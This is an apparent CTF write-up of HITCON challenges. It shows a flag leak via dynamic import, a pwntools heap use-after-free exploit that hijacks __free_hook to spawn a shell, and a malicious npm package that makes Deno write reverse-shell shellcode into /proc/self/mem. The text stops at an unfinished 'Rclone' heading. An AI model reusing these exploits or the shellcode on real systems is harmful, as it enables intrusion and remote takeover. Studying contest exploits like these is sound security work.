Pwn

V8 SBX

not banned import and flag could be readable.

root@racknerd-37b9af:~# nc v8sbx.chal.hitconctf.com 1337
Length:
24
JS script:
import('/home/ctf/flag')
/home/ctf/flag:1: SyntaxError: Unexpected token '{'
hitcon{Modifying_TPT_A1l0w5_u_t0_easi1y_escape_the_sandb0x}
      ^
SyntaxError: Unexpected token '{'

/home/ctf/flag:1: SyntaxError: Unexpected token '{'
hitcon{Modifying_TPT_A1l0w5_u_t0_easi1y_escape_the_sandb0x}
      ^
SyntaxError: Unexpected token '{'

1 pending unhandled Promise rejection(s) detected.
^C
^C

V8 SBX Revenge

https://mem2019.github.io/jekyll/update/2024/07/14/HITCON.html

setjmp

UAF vuln in del user when the linked list contains only one node.

#!/usr/bin/python2
from pwn import *

context.bits = 64
libc = ELF('libc-2.31.so')

rc          = lambda n          : io.recv(n)
sa          = lambda a, b       : io.sendafter(a, b)
sla         = lambda a, b       : io.sendlineafter(a, b)
ia          = lambda            : io.interactive()
uu64        = lambda x          : u64(x.ljust(8, '\\x00'))
heap_os     = lambda x          : heap_base + x

def menu(choice):
    sla('> ', str(choice))

def re0():
    menu(0)

def re1():
    menu(1)

def add(username, password):
    menu(2)
    sa('username > ', username)
    sa('password > ', password)

def delete(username):
    menu(3)
    sa('username > ', username)

def change(username, password):
    menu(4)
    sa('username > ', username)
    sa('password > ', password)

def show():
    menu(5)

io = remote('setjmp.chal.hitconctf.com', 1337)
delete('root')
show()
rc(2)
heap_base = uu64(rc(6)) - 0x10
add('133nson', '133nson')
add('233nson', '233nson')
delete('233nson')
delete('133nson')
change(flat(heap_os(0x540)), flat(0xdeadbeef))
delete(flat(heap_os(0x540)))
add(flat(heap_os(0x530)), flat(0xdeadbeef))
add('133nson', '133nson')
add('victim', flat(0x431))
for i in range(21):
    add(str(i), str(i))
add(flat(0x430), flat(0x21))
re0()
add('133nson', '133nson')
delete('133nson')
delete('root')
change(flat(heap_os(0xb60)), flat(0xdeadbeef))
delete(flat(heap_os(0xb60)))
add(flat(heap_os(0x540)), flat(0xdeadbeef))
add('133nson', '133nson')
add('victim', 'victim')
delete('victim')
add('a', 'a')
show()
rc(8)
libc_base = uu64(rc(6)) - 0x1ecf61
sys_addr = libc_base + libc.sym['system']
fh_addr = libc_base + libc.sym['__free_hook']
re0()
add('133nson', '133nson')
delete('133nson')
delete('root')
change(flat(heap_os(0x740)), flat(0xdeadbeef))
delete(flat(heap_os(0x740)))
add(flat(fh_addr), flat(0xdeadbeef))
add('/bin/sh\\x00', '133nson')
add(flat(sys_addr), '\\x00')
delete('/bin/sh\\x00')
ia()

# hitcon{fr0m-H3ap-jum9-2-system}

Web

Truth of NPM

The vulnerable fragment of code:

const module = await import(`npm:${packageName}/package.json`, {
  with: {
    type: "json",
  },
});

We could make the following NPM package to execute an arbitrary code:

{
  "name": "long-random-package-name",
  "version": "0.0.1",
  "type": "module",
  "exports": {
    "./package.json": "./index.js"
  }
}

The flag is located at /readflag with only x-bits set. We have only --allow-read --allow-write --allow-env Deno privileges without --allow-run, so we need to escalate privileges somehow. The idea is to patch the code of running Deno process by writing to /proc/self/map. However, it’s disallowed by Deno to read or write to /proc directly, so we use symlinks.

await Deno.remove("/tmp/mapslink").catch(() => {});
await Deno.symlink("/proc/self/maps", "/tmp/mapslink");

const maps = await Deno.readTextFile("/tmp/mapslink");
const base = parseInt(
  maps
    .split("\\n")
    .find((x) => x.includes("deno") && x.includes("r-x"))
    .split("-")[0],
  16,
);

await Deno.remove("/tmp/memlink").catch(() => {});
await Deno.symlink("/proc/self/mem", "/tmp/memlink");

const fd = await Deno.open("/tmp/memlink", { write: true });
const offset = 0x5555595702c0 - 0x5555580be000; // JSON.stringify
fd.seek(base + offset, Deno.SeekMode.Start);
const shellcode = new Uint8Array([
    72, 49, 192, 72, 49, 255, 72, 49, 246, 72, 49, 210, 77, 49, 192, 106, 2, 95, 106, 1, 94, 106, 6, 90, 106, 41, 88,
    15, 5, 73, 137, 192, 72, 49, 246, 77, 49, 210, 65, 82, 198, 4, 36, 2, 102, 199, 68, 36, 2, 5, 208, 199, 68, 36, 4,
    95, 216, 213, 223, 72, 137, 230, 106, 16, 90, 65, 80, 95, 106, 42, 88, 15, 5, 72, 49, 246, 106, 3, 94, 72, 255, 206,
    106, 33, 88, 15, 5, 117, 246, 72, 49, 255, 87, 87, 94, 90, 72, 191, 47, 47, 98, 105, 110, 47, 115, 104, 72, 193,
    239, 8, 87, 84, 95, 106, 59, 88, 15, 5
]);
await fd.write(shellcode);

JSON.stringify("");

npm publish, pwn, npm unpublish long-random-package-name --force, done

Rclone: